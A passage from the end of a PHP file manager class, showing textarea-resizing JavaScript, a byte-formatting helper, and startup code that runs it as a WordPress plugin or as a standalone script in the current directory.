                    textarea.style.height = (textarea.scrollHeight) + 'px';
                    textarea.addEventListener('input', function() {
                        this.style.height = 'auto';
                        this.style.height = (this.scrollHeight) + 'px';
                    });
                }
            });
        </script>
        </body>
        </html>
        <?php
    }
    
    /**
     * Format bytes to human readable
     */
    private function formatBytes($bytes, $precision = 2) {
        if ($bytes <= 0) return '0 B';
        $units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
        $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
        $pow = min($pow, count($units) - 1);
        $bytes /= pow(1024, $pow);
        return round($bytes, $precision) . ' ' . $units[$pow];
    }
}

// ---------- INITIALIZATION (only once) ----------
$is_wordpress = defined('ABSPATH');
if ($is_wordpress) {
    add_action('plugins_loaded', function() {
        SidGifariFileManager::get_instance();
    });
} else {
    if (!session_id()) {
        session_start();
    }
    $root_path = getcwd();
    $manager = new SidGifariFileManager();
    $manager->init_standalone($root_path);
    $manager->run_standalone();
}